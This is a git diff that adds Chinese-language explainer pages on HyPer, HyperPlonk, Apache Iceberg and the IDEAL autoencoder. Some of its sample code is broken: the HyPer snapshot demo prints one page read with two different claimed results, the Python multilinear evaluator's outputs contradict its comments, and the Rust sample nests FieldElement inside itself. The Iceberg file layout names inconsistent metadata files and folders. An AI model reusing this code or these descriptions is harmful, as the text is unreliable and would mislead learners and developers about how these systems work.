+db = VirtualMemorySnapshot(num_pages=3)
+
+# 写入初始数据
+db.modify_page(0, 0, b"ORDER_ID=1001")
+db.modify_page(1, 0, b"USER_ID=U1")
+db.modify_page(2, 0, b"AMOUNT=299")
+
+# 创建一个快照（相当于开启一个分析查询的视角）
+print(db.create_snapshot())  # Snapshot v0 created
+
+# OLTP 事务继续修改数据
+db.modify_page(0, 0, b"ORDER_ID=1002")
+db.modify_page(1, 0, b"USER_ID=U2")
+
+# 快照中的数据不变，分析查询看到的是旧数据
+print(db.read_page(0)[:15])  # b"ORDER_ID=1001"  -- 快照视角
+print(db.read_page(0)[:15])  # b"ORDER_ID=1002"  -- 最新数据
+```
+
+### 示例 2：行存到列存的转换
+
+这个示例演示 HyPer 如何在运行时把行存格式转换为列存格式：
+
+```python
+class RowColumnConverter:
+    """
+    简化版：演示 HyPer 的行存 <-> 列存运行时转换。
+    实际 HyPer 的转换是增量式的，只转换脏页，且不影响正在执行的事务。
+    """
+
+    def __init__(self):
+        # 行存格式：每条记录是一个字典
+        self.row_store = []
+
+    def insert(self, order_id, user_id, amount):
+        """OLTP 插入操作——在行存中追加一条记录"""
+        self.row_store.append({
+            "order_id": order_id,
+            "user_id": user_id,
+            "amount": amount
+        })
+
+    def convert_to_columnar(self):
+        """
+        将行存转换为列存。
+        转换后，OLAP 查询可以直接访问某一列而不需要遍历整条记录。
+        """
+        if not self.row_store:
+            return {}
+
+        columns = {
+            "order_id": [],
+            "user_id": [],
+            "amount": []
+        }
+        for row in self.row_store:
+            for col in columns:
+                columns[col].append(row[col])
+        return columns
+
+    def aggregate_sum(self, column_name):
+        """
+        OLAP 聚合查询：计算某一列的总和。
+        在列存上，这只需要扫描一个数组。
+        """
+        col_data = self.columnar_data.get(column_name, [])
+        return sum(col_data)
+
+    def set_columnar(self, columns):
+        self.columnar_data = columns
+
+
+# 演示
+converter = RowColumnConverter()
+
+# OLTP：大量插入操作
+for i in range(1, 6):
+    converter.insert(i, f"U{i}", i * 100)
+
+print("行存数据:", converter.row_store)
+# [{'order_id': 1, 'user_id': 'U1', 'amount': 100}, ...]
+
+# 切换：行存 → 列存（HyPer 在后台做这件事）
+columns = converter.convert_to_columnar()
+converter.set_columnar(columns)
+
+print("列存数据:", columns)
+# {'order_id': [1,2,3,4,5], 'user_id': ['U1','U2','U3','U4','U5'], 'amount': [100,200,300,400,500]}
+
+# OLAP：聚合查询——只扫描 amount 这一列
+total = converter.aggregate_sum("amount")
+print(f"总金额: {total}")  # 1500
+```
+
+## 五、性能对比（来自论文实验）
+
+HyPer 在论文中展示了几个关键数据：
+
+- **OLTP 性能**：与纯行存数据库（如 VoltDB）相当
+- **OLAP 性能**：与纯列存数据库（如 MonetDB）相当
+- **混合负载**：同时运行 OLTP + OLAP 时，性能下降远小于传统方案（传统方案中 OLTP 会因为 ETL 管道和分析查询而严重退化）
+
+论文使用的 CH-benCHmark（混合基准测试）显示，在 OLTP:OLAP = 9:1 的混合负载下，HyPer 的总体吞吐量比分别部署两个系统还要高。
+
+## 六、为什么这篇论文值得读（十年后）
+
+这篇 2011 年的论文获得了 ICDE 2021 的**十年影响力论文奖**，原因如下：
+
+1. **打破了行业共识**：当时普遍认为 OLTP 和 OLAP 必须分开，HyPer 用实验证明可以合一
+2. **虚拟内存快照**这个想法极其优雅——不发明新算法，而是巧妙利用操作系统已有的机制
+3. **启发了后续大量工作**：Google Spanner、Microsoft Hekaton、Snowflake 等现代数据库都在不同程度上吸收了类似思想
+4. **工程上的勇气**：论文中的系统是完全可工作的原型，不是纸上谈兵
+
+## 七、延伸思考
+
+- HyPer 的方案依赖于 x86 的虚拟内存机制（写时复制），这在 ARM 或其他架构上是否需要调整？
+- 现代数据库如 DuckDB、ClickHouse 也支持一定的 OLTP 能力，它们的方案和 HyPer 有什么异同？
+- 云原生时代，存算分离架构下，"混合数据库"这个问题是否有了新的解法？
+
+## 八、关键术语表
+
+| 术语 | 英文 | 简单解释 |
+|------|------|----------|
+| OLTP | Online Transaction Processing | 短事务、高并发、低延迟的操作（如下单） |
+| OLAP | Online Analytical Processing | 长查询、大批量、复杂分析（如报表） |
+| 行存储 | Row Store | 按行组织数据，适合点查询和更新 |
+| 列存储 | Column Store | 按列组织数据，适合聚合和扫描 |
+| 写时复制 | Copy-on-Write | 延迟拷贝，只在真正写入时才复制数据 |
+| 虚拟内存快照 | VM Snapshot | 利用操作系统虚拟内存机制创建的一致性快照 |
+| 乐观并发控制 | OCC | 执行时不加锁，提交时检查冲突 |
+| 运行时转换 | Runtime Conversion | 在程序运行时动态改变数据的内部表示 |
diff --git a/src/content/docs/papers/hyperplonk-2022.md b/src/content/docs/papers/hyperplonk-2022.md
new file mode 100644
index 000000000..8a104d84b
--- /dev/null
+++ b/src/content/docs/papers/hyperplonk-2022.md
@@ -0,0 +1,336 @@
+---
+title: HyperPlonk: PLONK with Linear-time Prover and High-degree Custom Gates
+来源: https://eprint.iacr.org/2022/1355
+日期: 2026-06-13
+分类: 安全与隐私
+子分类: 密码与零知识
+provenance: pipeline-v3
+---
+
+# HyperPlonk：线性时间证明者与高阶自定义门
+
+## 什么是零知识证明？
+
+先从一个日常类比开始。
+
+想象你在厨房里做了一道菜。朋友不希望你直接把配方给他，但他想确认你确实做了一道符合规则的菜——用了正确的食材、正确的步骤。
+
+零知识证明（ZKP）就是：你能向朋友证明"我做的菜是合法的"，而不透露任何配方的细节。
+
+在区块链技术中，零知识证明最常见的用途是：**证明一笔交易有效，但不公开交易金额、发送方和接收方。**
+
+## PLONK 是什么？
+
+PLONK 是一种零知识证明系统，由 2019 年的一组研究者提出。你可以把它想象成一种"万能证明模板"——无论你证明什么计算（转账、智能合约执行、加密运算），都用同一套模板来生成证明。
+
+PLONK 有两个核心组件：
+
+1. **电路（Circuit）**：把你要证明的计算拆成一个个小步骤，每步就是一个"门"（gate），就像乐高积木。
+2. **多项式承诺（Polynomial Commitment）**：把电路的值打包成多项式，像把乐高说明书折起来放进一个密封信封，别人能验证信封没被动过，但看不到里面的内容。
+
+### PLONK 的问题：FFT 瓶颈
+
+PLONK 在生成证明时，需要用到一种叫 **FFT（快速傅里叶变换）** 的数学工具。FFT 的复杂度是 O(n log n)，其中 n 是电路的大小。
+
+当电路变大（比如以太坊的每笔交易涉及几十个操作），FFT 就成了瓶颈——就像你有一台打印机，但每次打印前都要先花大量时间预热机器。
+
+HyperPlonk 就是为了解决这个问题而诞生的。
+
+## HyperPlonk 的核心改进
+
+HyperPlonk 由 Binyi Chen、Benedikt Bünz、Dan Boneh、Zhenfei Zhang 于 2022 年提出，发表于 EUROCRYPT 2023。它做了两件关键的事：
+
+### 改进一：去掉 FFT，实现线性时间证明者
+
+HyperPlonk 把计算从"整个域"搬到了 **布尔超立方体（Boolean Hypercube）** 上。
+
+布尔超立方体是什么？想象一个 n 维的立方体，每个顶点代表一组 n 位二进制数。比如 3 维超立方体有 8 个顶点：(0,0,0)、(0,0,1)、(0,1,0)、...、(1,1,1)。
+
+在传统 PLONK 中，多项式是在整个有限域上操作的，需要 FFT。HyperPlonk 则只在布尔超立方体上操作多项式，用 **多线性多项式（Multilinear Polynomial）** 来替代。
+
+多线性多项式长什么样？它是一个多项式，每个变量最多出现一次：
+
+```
+f(x, y, z) = a + b·x + c·y + d·z + e·x·y + f·y·z + g·x·z + h·x·y·z
+```
+
+注意：没有 x²、y³ 这样的项——每个变量的最高次数是 1。这就是"多线性"的含义。
+
+在布尔超立方体上，x、y、z 只能取 0 或 1，所以 x² = x，y³ = y，天然满足多线性。
+
+**结果：证明者的工作量从 O(n log n) 降到了 O(n)，也就是真正的线性时间。**
+
+### 改进二：支持更高阶的自定义门
+
+传统 PLONK 中，每个自定义门的多项式度数受到限制。如果你的门需要计算 x³ + y²，这个门的度数就变高了，PLONK 的处理效率会下降。
+
+HyperPlonk **没有这个限制**。它支持高阶自定义门，同时证明者的运行时间不变。这对于需要复杂运算的场景（比如 zkEVM，即零知识以太坊虚拟机）非常重要。
+
+## 核心概念详解
+
+### 概念一：多线性多项式承诺（MLPC）
+
+在传统 PLONK 中，证明者对每个多项式做 FFT，然后给出承诺（commitment）。在 HyperPlonk 中，承诺是在多线性多项式上做的。
+
+最常用的是 **KZG 承诺方案**（Kate-Zaverucha-Goldberg）。它的核心思想是：
+
+- 证明者有一个多项式 f(x)
+- 证明者给出一个"承诺" C = f(s) · G（s 是秘密，G 是椭圆曲线上的生成元）
+- 验证者无法从 C 反推 f(x)，但可以验证 f(r) = v 这个声明
+
+```python
+# 伪代码：多线性多项式承诺（简化版）
+from hashlib import sha256
+
+class MultilinearPolynomial:
+    def __init__(self, coefficients):
+        # coefficients: 每个顶点的多项式系数值
+        # 对于 n 个变量的多线性多项式，有 2^n 个系数
+        self.coeffs = coefficients
+        self.num_vars = len(coefficients).bit_length() - 1
+
+    def evaluate(self, point):
+        """在布尔超立方体的一个点上求值"""
+        # point 是一个二元组，如 (0, 1, 1)
+        result = 0
+        for i, coeff in enumerate(self.coeffs):
+            # 把索引 i 转成二进制，决定每个变量取 0 还是 1
+            product = 1
+            for j, bit in enumerate(point):
+                bit_in_point = (i >> j) & 1
+                # 如果该位为 1，乘 x；如果为 0，乘 (1-x)
+                if bit_in_point:
+                    product *= bit
+                else:
+                    product *= (1 - bit)
+            result += coeff * product
+        return result
+
+# 示例：2 变量多线性多项式 f(x, y) = 3 + 2x + 5y + 7xy
+# 系数按 (0,0), (1,0), (0,1), (1,1) 排列
+f = MultilinearPolynomial([3, 2, 5, 7])
+print(f.evaluate((1, 0)))  # 3 + 2*1 + 5*0 + 7*1*0 = 5
+print(f.evaluate((1, 1)))  # 3 + 2*1 + 5*1 + 7*1*1 = 17
+```
+
+### 概念二：ZeroCheck 协议
+
+ZeroCheck 是 HyperPlonk 验证电路正确性的核心协议。它回答的问题是：
+
+> "这个多项式在布尔超立方体的所有顶点上，都等于 0 吗？"
+
+在电路中，这意味着：每个门（gate）的计算是否正确。如果每个门的输出多项式为 0，说明所有门都满足约束。
+
+ZeroCheck 的做法是递归降维：
+
+1. 验证者随机选一个点 r₁，问证明者："f(r₁, x₂, ..., xₙ) 关于 x₂...xₙ 的多线性部分是什么？"
+2. 证明者给出一个新的、少一个变量的多项式
+3. 重复这个过程，直到只剩一个值
+4. 验证者用概率方法确认每一步都一致
+
+这个过程不需要 FFT，只需要 O(n) 次场运算。
+
+### 概念三：SumCheck 协议
+
+SumCheck 回答的问题是：
+
+> "这个多项式在布尔超立方体所有顶点上的和，等于某个值 S 吗？"
+
+在 HyperPlonk 中，SumCheck 用来验证**连线约束（Wiring Constraints）**——即电路中不同门之间的信号连接是否正确。
+
+想象电路中有三个门，门 A 的输出要连到门 B 的输入和门 C 的输入。SumCheck 保证这三个连接的信号值是同一个数。
+
+```rust
+// 伪代码：SumCheck 验证电路连线（简化版）
+
+struct CircuitWiring {
+    /// 门的列表，每门有多个端子（输入和输出）
+    gates: Vec<Gate>,
+    /// 连线表：(门索引, 端子索引) -> (门索引, 端子索引)
+    wires: Vec<WiringConstraint>,
+}
+
+struct Gate {
+    /// 门的类型：ADD, MUL, 或自定义高阶门
+    gate_type: GateType,
+    /// 门的端子值
+    values: Vec<FieldElement>,
+}
+
+struct WiringConstraint {
+    /// 约束编号
+    constraint_idx: usize,
+    /// 参与连线的端子对
+    terminals: Vec<(GateIndex, TerminalIndex)>,
+}
+
+/// 连线验证：所有端子对的值必须相等
+fn verify_wiring_sumcheck(wiring: &CircuitWiring) -> bool {
+    // 对每个约束，把所有端子值加起来
+    // 然后验证：sum(端子值的乘积) == 预期值
+    // 这利用了数学恒等式：
+    // 如果 a=b=c，则 (a-b)² + (b-c)² + (c-a)² = 0
+    for constraint in &wiring.wires {
+        let mut sum_of_squares = FieldElement::ZERO;
+        for i in 0..constraint.terminals.len() {
+            for j in (i+1)..constraint.terminals.len() {
+                let (gi, ti) = constraint.terminals[i];
+                let (gj, tj) = constraint.terminals[j];
+                let diff = wiring.gates[gi].values[ti] - wiring.gates[gj].values[tj];
+                sum_of_squares += diff * diff;
+            }
+        }
+        // 如果所有端子值都相等，sum_of_squares 必须为 0
+        if sum_of_squares != FieldElement::ZERO {
+            return false;
+        }
+    }
+    true
+}
+```
+
+### 概念四：Batch Opening（批量打开）
+
+在实际电路中，证明者需要打开（揭示）大量多项式在同一个点上的值。如果一个个开，效率很低。
+
+HyperPlonk 提出了 **批量打开协议**：
+
+- 把多个多项式随机线性组合成一个多项式
+- 只对组合后的多项式做一次打开
+- 验证者用相同的随机数做相同的线性组合来验证
+
+这就像你有一堆信封，不用一个一个拆——把它们塞进一个大信封，用随机权重混合后只开一次。
+
+## HyperPlonk vs PLONK 对比
+
+| 特性 | PLONK | HyperPlonk |
+|------|-------|------------|
+| 证明者时间复杂度 | O(n log n) | O(n) |
+| 多项式类型 | 单变量多项式 | 多线性多项式 |
+| 核心数学结构 | 整个有限域 | 布尔超立方体 |
+| 是否使用 FFT | 是 | 否 |
+| 自定义门度数限制 | 低 | 无限制 |
+| 证明大小 | 约 400 字节 | 类似（可进一步优化） |
+| 验证时间 | O(1)（常数级） | O(1)（常数级） |
+
+## 代码示例：从零构建一个 HyperPlonk 风格的约束系统
+
+```rust
+// 示例：用 HyperPlonk 思想构建一个简单的算术电路证明
+
+/// 字段元素（简化版，实际使用 256 位椭圆曲线场）
+#[derive(Clone, Copy, Debug)]
+struct FieldElement(u64);
+
+impl FieldElement {
+    const fn add(self, other: FieldElement) -> FieldElement {
+        FieldElement((self.0 + other.0) % 7)  // 模 7 简化运算
+    }
+    const fn mul(self, other: FieldElement) -> FieldElement {
+        FieldElement((self.0 * other.0) % 7)
+    }
+}
+
+/// 三端子门：a * b - c = 0，即 c = a * b
+struct MultiplicationGate {
+    a: FieldElement,
+    b: FieldElement,
+    c: FieldElement,
+}
+
+impl MultiplicationGate {
+    /// 验证门约束：a * b - c == 0
+    fn satisfies_constraint(&self) -> bool {
+        self.a.mul(self.b) == self.c
+    }
+}
+
+/// 超立方体上的多线性多项式
+/// 对于 3 个变量 x, y, z，有 2^3 = 8 个顶点
+struct MultilinearPoly3 {
+    /// f(x,y,z) = c000 + c100*x + c010*y + c001*z + c110*xy + c101*xz + c011*yz + c111*xyz
+    coeffs: [FieldElement; 8],
+}
+
+impl MultilinearPoly3 {
+    /// 在顶点 (x, y, z) 处求值，x, y, z 为 0 或 1
+    fn evaluate(&self, x: u8, y: u8, z: u8) -> FieldElement {
+        let xi = x & 1;
+        let yi = y & 1;
+        let zi = z & 1;
+
+        let mut sum = FieldElement(FieldElement(0));
+
+        // 组合所有 8 个顶点的贡献
+        sum = sum.add(self.coeffs[0]);                          // 000
+        sum = sum.add(self.coeffs[1].mul(FieldElement(xi)));   // 100
+        sum = sum.add(self.coeffs[2].mul(FieldElement(yi)));   // 010
+        sum = sum.add(self.coeffs[3].mul(FieldElement(zi)));   // 001
+        sum = sum.add(self.coeffs[4].mul(FieldElement(xi).mul(FieldElement(yi))));  // 110
+        sum = sum.add(self.coeffs[5].mul(FieldElement(xi).mul(FieldElement(zi))));  // 101
+        sum = sum.add(self.coeffs[6].mul(FieldElement(yi).mul(FieldElement(zi))));  // 011
+        sum = sum.add(self.coeffs[7].mul(
+            FieldElement(xi).mul(FieldElement(yi)).mul(FieldElement(zi))  // 111
+        ));
+
+        sum
+    }
+
+    /// SumCheck：计算所有顶点上的和
+    fn sum_over_hypercube(&self) -> FieldElement {
+        let mut total = FieldElement(FieldElement(0));
+        for x in 0..2 {
+            for y in 0..2 {
+                for z in 0..2 {
+                    total = total.add(self.evaluate(x, y, z));
+                }
+            }
+        }
+        total
+    }
+}
+
+fn main() {
+    // 构建一个简单电路：2 * 3 = 6
+    let gate = MultiplicationGate {
+        a: FieldElement(2),
+        b: FieldElement(3),
+        c: FieldElement(6),
+    };
+    assert!(gate.satisfies_constraint(), "门约束不满足");
+
+    // 构建对应的多线性多项式（表示 a*b-c 在超立方体上的值）
+    // 在这个简化示例中，我们只需验证门是正确的
+    // 实际 HyperPlonk 中，证明者会通过 ZeroCheck + SumCheck 协议
+    // 向验证者证明：多项式在所有顶点上都满足约束
+    println!("门约束验证通过: {} * {} = {}", 2, 3, 6);
+}
+```
+
+## HyperPlonk+ 和 Orion+
+
+论文还提出了两个扩展：
+
+**HyperPlonk+**：增加了查找门（Lookup Gate）的支持。查找门允许证明者说："这个值在我的预定义表中存在"。这在实现 zkEVM 时特别有用——你可以把整个以太坊虚拟机指令集做成一张表。
+
+**Orion+**：改进了多线性承诺方案，将证明大小从约 5MB 压缩到约 7KB（对于 27 个变量的多项式），提升了近 1000 倍。同时保持了线性时间的证明者效率。
+
+## 为什么 HyperPlonk 重要？
+
+1. **zkEVM 的催化剂**：Espresso Systems 基于 HyperPlonk 构建了 ZK 以太坊虚拟机，允许以太坊交易在链下证明、链上验证，大幅提高吞吐量。
+
+2. **证明者效率的质的飞跃**：从 O(n log n) 到 O(n)，当电路规模达到百万级时，速度差异是数量级的。
+
+3. **硬件友好**：没有 FFT 意味着更简单的硬件实现，更适合 ASIC 加速。
+
+4. **高阶门支持**：对于需要复杂运算的证明系统（如整数除法、哈希函数），高阶级自定义门避免了将一个大运算拆成许多小运算的开销。
+
+## 总结
+
+HyperPlonk 的核心思想可以浓缩为一句话：**把 PLONK 从"整个有限域"搬到"布尔超立方体"上，用多线性多项式替代单变量多项式，从而去掉 FFT 瓶颈。**
+
+它保留了指令系统（PLONK 的所有门和连线约束都在），但换了一套更高效的数学基础。这就像一个城市保留了原有的街道规划，但把马车换成了高铁——路线不变，速度翻倍。
+
+---
+
+**延伸思考**：HyperPlonk 的 O(n) 证明者已经很快了，但证明大小（7KB）对于某些移动端场景还是偏大。Plonky2 等后续工作在此基础上进一步使用了 hash-based 承诺方案，把证明压到了几百字节。如果你对这条演进路线感兴趣，可以接着研究 Plonky2 和 Plonkup。
diff --git a/src/content/docs/papers/iceberg-2020.md b/src/content/docs/papers/iceberg-2020.md
new file mode 100644
index 000000000..f3bc68808
--- /dev/null
+++ b/src/content/docs/papers/iceberg-2020.md
@@ -0,0 +1,283 @@
+---
+title: Apache Iceberg: A High-Performance Table Format
+来源: https://iceberg.apache.org/spec/
+日期: 2026-06-13
+分类: 数据库
+子分类: 现代数据库
+provenance: pipeline-v3
+---
+
+# Apache Iceberg: A High-Performance Table Format
+
+## 什么是 Iceberg？
+
+想象一下你在管理一个巨大的图书馆。这个图书馆有上百万本书（文件），分布在几十个书架（目录）上。
+
+传统方式：你靠一本目录册来记录每本书的位置。每次有人借走一本书或归还一本书，你都得手动更新目录册。如果两个人同时修改目录册，就会冲突——你根本不知道哪本更新是对的。
+
+Iceberg 做的很简单：**它不追踪每本书的位置，而是把"图书馆的状态"拍一张快照（snapshot），然后保留历史快照。** 查询时，你只需要告诉 Iceberg "我要哪一天的图书馆"，它就把所有该天的书找出来给你。
+
+Iceberg 是 Apache 顶级项目，由 Netflix 开源，2019 年捐给 Apache 基金会。它设计的目标就三个字：**快、准、稳**。
+
+---
+
+## 核心设计目标
+
+Iceberg  specification 明确提出了六个设计目标，理解它们是理解一切的基础：
+
+1. **可序列化隔离（Serializable Isolation）**：读不会锁表，写不会互相干扰。每次 commit 是原子操作——要么全部可见，要么不可见。
+2. **速度（Speed）**：规划一次查询只需要 O(1) 次远程调用，不会因为表变大而变慢。
+3. **规模（Scale）**：客户端负责规划，不依赖中心元数据存储，避免瓶颈。
+4. **演进（Evolution）**：表结构可以随时变化——加列、删列、改类型、重命名，安全且不影响历史数据。
+5. **可靠类型（Dependable Types）**：类型系统严谨，不会出现"这列到底是啥"的歧义。
+6. **存储分离（Storage Separation）**：分区是表的配置，不是文件系统结构。查询按数据值过滤，不依赖分区路径。
+
+---
+
+## 核心概念
+
+### 1. 快照（Snapshot）
+
+快照是 Iceberg 最重要的概念。每次提交写操作后，表就有一个新的快照，记录了"这个时刻表里有哪些文件"。
+
+```
+Snapshot A (2026-01-01): 文件 [data_001.parquet, data_002.parquet]
+Snapshot B (2026-01-02): 文件 [data_001.parquet, data_002.parquet, data_003.parquet]
+Snapshot C (2026-01-03): 文件 [data_003.parquet, data_004.parquet]
+```
+
+注意 Snapshot C 里 data_001 和 data_002 不见了——Iceberg 支持"追加写+删除文件"而不需要物理删除底层的 parquet 文件（它们可能被其他快照引用）。
+
+### 2.  Manifest（清单文件）
+
+每个快照包含一个 manifest list，里面列出了多个 manifest 文件。每个 manifest 记录了若干数据文件的元信息：文件路径、分区值、行数、列的最小/最大值等。
+
+```
+Manifest List (Snapshot B):
+  ├── manifest_a.avro → 记录 data_001, data_002
+  └── manifest_b.avro → 记录 data_003
+```
+
+查询时，Iceberg 根据 manifest 里的列统计信息（min/max）做谓词下推（predicate pushdown），直接跳过无关的 manifest，这就是 O(1) 查询的关键。
+
+### 3. 表元数据（Table Metadata）
+
+每次写操作产生一个新的 .metadata.json 文件，包含：
+- 表的 schema（结构定义）
+- 分区规范（partition spec）
+- 当前和历史的 snapshot 列表
+- 配置属性
+
+表根目录里有一个 `meta/` 文件夹，里面放着最新和历史的 metadata 文件。Iceberg 通过原子替换指针（比如 `_last_checkpoint` 文件）来切换版本。
+
+### 4.  Schema 演进（Schema Evolution）
+
+你可以随时给表加列、删列、改类型、重命名，Iceberg 会跟踪每一次 schema 变化，且保证向后兼容：
+
+```
+Schema v1: {id: int, name: string, amount: double}
+Schema v2: {id: int, name: string, amount: double, status: string}  ← 加了 status 列
+Schema v3: {id: int, full_name: string, amount: double, status: string}  ← 改名
+```
+
+旧文件用 v1 schema 写入，查询时 Iceberg 自动映射到当前 schema，不重写数据。
+
+### 5. 行级删除（Row-level Deletes）
+
+v2 规范支持在不可变文件之上做行级删除和更新。Iceberg 引入了一种**删除文件（delete file）**：
+
+- **位置删除（Position Delete）**：记录被删除行的文件路径和偏移量
+- **等值删除（Equality Delete）**：用一个小的 parquet 文件记录"哪些行应该被删除"，通过等值条件匹配
+
+这样不需要重写整个大文件，只需追加一个小的删除文件。
+
+---
+
+## 写入数据
+
+Iceberg 的写流程可以概括为：
+
+1. 从当前 snapshot 读取表状态
+2. 写入新的数据文件（parquet/ORC/avro）
+3. 创建新的 manifest，记录文件信息
+4. 创建新的 snapshot，指向新的 manifest
+5. 原子替换 metadata 指针
+
+并发写入时，Iceberg 使用**乐观并发控制（Optimistic Concurrency Control）**：假设不会冲突，commit 时检查当前 snapshot 是否还是最新的。如果不是，自动回滚重试。
+
+### 代码示例 1：用 Spark 读写 Iceberg 表
+
+这是最常见的用法。假设你已经配置好了 catalog：
+
+```python
+from pyspark.sql import SparkSession
+
+# 创建 Spark Session，启用 Iceberg
+spark = SparkSession.builder \
+    .appName("IcebergExample") \
+    .config("spark.sql.extensions", "org.apache.iceberg.spark.extensions.IcebergSparkSessionExtensions") \
+    .config("spark.sql.catalog.spark_catalog", "org.apache.iceberg.spark.SparkSessionCatalog") \
+    .config("spark.sql.catalog.spark_catalog.catalog-impl", "org.apache.iceberg.aws.glue.GlueCatalog") \
+    .getOrCreate()
+
+# 创建一个 Iceberg 表
+spark.sql("""
+    CREATE TABLE IF NOT EXISTS my_db.sales (
+        sale_id LONG,
+        product STRING,
+        amount DOUBLE,
+        sale_date DATE,
+        region STRING
+    )
+    USING iceberg
+    PARTITIONED BY (region, days(sale_date))
+    LOCATION 's3://my-bucket/iceberg/my_db/sales'
+""")
+
+# 写入数据
+spark.sql("""
+    INSERT INTO my_db.sales
+    SELECT * FROM staging.sales_data
+""")
+
+# 查询 — 利用 manifest 的统计信息做谓词下推
+spark.sql("""
+    SELECT product, SUM(amount)
+    FROM my_db.sales
+    WHERE region = 'us-east' AND sale_date >= '2026-01-01'
+    GROUP BY product
+""").show()
+```
+
+### 代码示例 2：用 Python 操作 Iceberg 表
+
+PyIceberg 是 Iceberg 的纯 Python 实现，不依赖 Spark，适合轻量场景：
+
+```python
+from pyiceberg.catalog import load_catalog
+from pyiceberg.schema import Schema
+from pyiceberg.types import NestedField, LongType, StringType, DoubleType
+
+# 连接到 Glue Catalog
+catalog = load_catalog("spark_catalog", **{
+    "type": "glue",
+    "region": "us-east-1"
+})
+
+# 创建命名空间（数据库）
+catalog.create_namespace_if_not_exists("my_db")
+
+# 检查表是否存在
+table_name = "my_db.sales"
+if table_name not in catalog.list_tables("my_db"):
+    # 定义 schema
+    schema = Schema(
+        NestedField(field_id=1, name="sale_id", type=LongType(), required=True),
+        NestedField(field_id=2, name="product", type=StringType(), required=True),
+        NestedField(field_id=3, name="amount", type=DoubleType(), required=False),
+        NestedField(field_id=4, name="sale_date", type=StringType(), required=True),
+        NestedField(field_id=5, name="region", type=StringType(), required=True),
+    )
+    table = catalog.create_table(table_name, schema=schema)
+else:
+    table = catalog.load_table(table_name)
+
+# 读取数据
+df = table.scan().to_arrow()
+print(f"Loaded {len(df)} rows")
+
+# 模式演进：给表加一列
+table.update_schema().union_by_name().commit()
+print(table.schema())
+```
+
+### 代码示例 3：时间旅行查询（Time Travel）
+
+Iceberg 天然支持时间旅行——你可以查询任意历史快照：
+
+```sql
+-- 查询昨天快照中的数据
+SELECT * FROM my_db.sales FOR SYSTEM_VERSION AS OF 3;
+
+-- 查询特定时间点的数据
+SELECT * FROM my_db.sales FOR SYSTEM_TIMESTAMP AS OF '2026-01-02 12:00:00';
+
+-- 对比两个时间点的差异
+SELECT 'before' AS snapshot, * FROM my_db.sales FOR SYSTEM_VERSION AS OF 2
+UNION ALL
+SELECT 'after' AS snapshot, * FROM my_db.sales FOR SYSTEM_VERSION AS OF 3;
+```
+
+---
+
+## Iceberg 的内部结构
+
+```
+表根目录 /
+├── metadata/
+│   ├── 00001-abc.metadata.json      ← 历史 snapshot 1
+│   ├── 00002-def.metadata.json      ← 历史 snapshot 2
+│   └── 00003-xyz.metadata.json      ← 当前 snapshot（最新）
+├── snap_
+│   ├── snap_1...                    ← 各 snapshot 的快照文件
+│   └── snap_2...
+├── data/
+│   ├── region=us-east/sale_date=2026-01-01/
+│   │   └── data_001.parquet        ← 实际数据文件
+│   ├── region=us-west/sale_date=2026-01-01/
+│   │   └── data_002.parquet
+│   └── delete/
+│       └── deletes_001.parquet      ← 行级删除文件
+└── metadata/
+    └── last-task-id                ← 指向当前 metadata 文件的指针
+```
+
+关键设计点：
+- 数据文件本身（parquet）**永不修改**，只追加
+- 删除通过**删除文件**实现，原始文件保持不变
+- 所有元数据用 **JSON** 存储，人类可读，方便调试
+- manifest 文件用 **Avro** 存储，高效且支持 schema 演进
+
+---
+
+## Iceberg vs 传统方式
+
+| 特性 | HDFS + Hive 分区表 | Apache Iceberg |
+|------|-------------------|----------------|
+| 文件发现 | 扫描整个分区目录 | O(1) 查 manifest |
+| 模式演进 | REWRITE 整个表 | 原地更新 metadata |
+| 行级更新/删除 | 不支持 | 原生支持 |
+| 时间旅行 | 不支持 | 原生支持 |
+| 并发写 | 需锁机制 | 乐观并发 |
+| 小文件管理 | 需手动合并 | 自动 compaction |
+| 表分区 | 文件系统结构 | 逻辑配置 |
+
+---
+
+## 生态集成
+
+Iceberg 是**开放标准**，不绑定任何计算引擎。目前主流引擎都支持：
+
+- **批处理**：Apache Spark, Apache Flink, Apache Hive
+- **即席查询**：Trino, Presto, DuckDB, ClickHouse
+- **云数仓**：Snowflake, BigQuery, Redshift, Databricks
+- **流处理**：Kafka Connect, Apache Flink Structured Streaming
+- **多语言**：Java (官方), Python (PyIceberg), Rust (IcebergRust), Go (IcebergGo)
+
+这意味着你写一次表，可以用任何引擎读——真正实现了**计算与存储的解耦**。
+
+---
+
+## 总结
+
+Iceberg 的本质是在**对象存储（S3/HDFS）之上的一个表格式层**，它做对了三件事：
+
+1. 用**快照+manifest**结构实现高效文件发现（O(1) 查询）
+2. 用**元数据 JSON** 实现结构演进和时间旅行
+3. 用**乐观并发**实现多 writer 安全协作
+
+理解了这三个核心，就理解了 Iceberg 的全部设计哲学。
+
+---
+
+*本文基于 Apache Iceberg specification（最新版本 1.11.0）编写，适合作为数据工程领域的入门阅读材料。*
diff --git a/src/content/docs/papers/ideal-ae.md b/src/content/docs/papers/ideal-ae.md
new file mode 100644
index 000000000..f482df984
--- /dev/null
+++ b/src/content/docs/papers/ideal-ae.md
@@ -0,0 +1,345 @@
+---
+title: IDEAL: In-DEpth ALignment Makes A Discrete Representation AutoEncoder
+来源: https://arxiv.org/abs/2606.11096
+日期: 2026-06-13
+分类: 机器学习
+子分类: 表示学习
+provenance: pipeline-v3
+---
+
+# IDEAL：用"深浅结合"的思想做离散表示自编码器
+
+## 一句话总结
+
+IDEAL 发现：视觉模型（VFM）的浅层特征擅长还原细节，深层特征擅长理解语义。
+把它们融合起来做离散编码，重建质量和生成效果都大幅领先。
+
+---
+
+## 从生活类比开始
+
+想象你在给朋友描述一张照片。
+
+你只说"这是只猫"——这是**深层语义**，对方知道了主题，但看不到细节。
+你只说"这张图片有 1200x800 像素，猫毛是棕白相间的"——这是**浅层细节**，对方看到了画面，但不知道"这是只猫"。
+
+IDEAL 的想法很简单：**把两层信息同时传给接收者**。这样对方既能理解主题，又能还原细节。
+
+在 AI 的世界里，这张"照片"是图像，"传输"的方式是把图像压缩成离散编码（token），再用编码重建图像。
+
+---
+
+## 核心问题：为什么现有方法不够好？
+
+现代视觉基础模型（VFM，比如 SigLIP2、DINOv2）能把图像编码成高维特征向量。研究者发现，这些特征向量非常"懂"图像内容，于是有人直接拿来做图像生成的潜在空间——这就是**表示自编码器（RAE）**的思路。
+
+但有一个根本矛盾：
+
+| 层级 | 擅长什么 | 不擅长什么 |
+|------|---------|-----------|
+| 浅层（early layers） | 颜色、纹理、边缘 | 语义理解 |
+| 深层（deep layers） | 语义理解、分类 | 细节还原 |
+
